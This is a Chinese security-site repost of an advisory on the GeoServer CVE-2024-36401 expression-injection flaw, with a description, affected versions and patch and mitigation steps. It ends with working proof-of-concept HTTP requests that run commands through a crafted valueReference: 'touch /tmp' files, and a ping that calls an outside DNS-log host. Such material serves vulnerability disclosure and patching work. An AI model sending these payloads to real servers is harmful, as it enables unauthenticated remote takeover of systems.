【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

admin 2024年7月5日13:41:12评论9 views字数 3134阅读10分26秒阅读模式

GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

https://avd.aliyun.com/detail?id=AVD-2024-36401

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

漏洞描述
GeoServer 是一个开源服务器,允许用户共享和编辑地理空间数据。
GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。
GeoServer在版本2.23.6、2.24.4和2.25.2之前,允许未经身份验证的用户通过多个OGC请求参数针对默认GeoServer安装的特别构造的输入利用代码注入漏洞,该漏洞是由于应用不安全地将属性名称作为XPath表达式进行评估,攻击者可以在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码
该系统不安全地将属性名称解析为 XPath 表达式。GeoServer 调用的 GeoTools 库 API 以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。该库在解析 XPath 表达式时,可以执行任意代码。这种 XPath 评估本应仅供复杂要素类型(例如应用程序架构数据存储)使用,但由于错误,该机制也被应用于简单要素类型。这使得所有 GeoServer 实例都可能受到该漏洞的影响。
此漏洞可能导致远程代码执行 (RCE)。未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。这种远程代码执行将导致系统被完全控制,严重威胁系统安全,可能造成数据泄露、勒索或更广泛的网络攻击。
漏洞编号:CVE-2024-36401
漏洞威胁等级:严重
影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

修复建议
正式防护方案:
GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。
厂商已发布补丁修复漏洞,用户请尽快更新至安全版本:
GeoServer >= 2.25.2
GeoServer >= 2.24.4
GeoServer >= 2.23.6
与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
临时缓解措施
删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

临时修复方案

  • 使用防护类设备对相关资产进行防护,拦截请求中的恶意命令执行语句。
  • 如非必要,避免将资产暴露在互联网。

复现截图

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

POC

POST /geoserver/wfs HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15Connection: closeContent-Length: 362Content-Type: application/xmlAccept-Encoding: gzip, deflate, br<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"ping xxx.dnslog.cn")'> <wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>

基于GET方法的POC

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1Host: your-ip:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0

基于POST方法的POC

POST /geoserver/wfs HTTP/1.1Host: your-ip:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/xmlContent-Length: 356<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference></wfs:GetPropertyValue>

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

受影响软件情况

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

原文始发于微信公众号(利刃信安):【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日13:41:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【攻防演练】GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)https://cn-sec.com/archives/2922359.html

发表评论

匿名网友 填写信息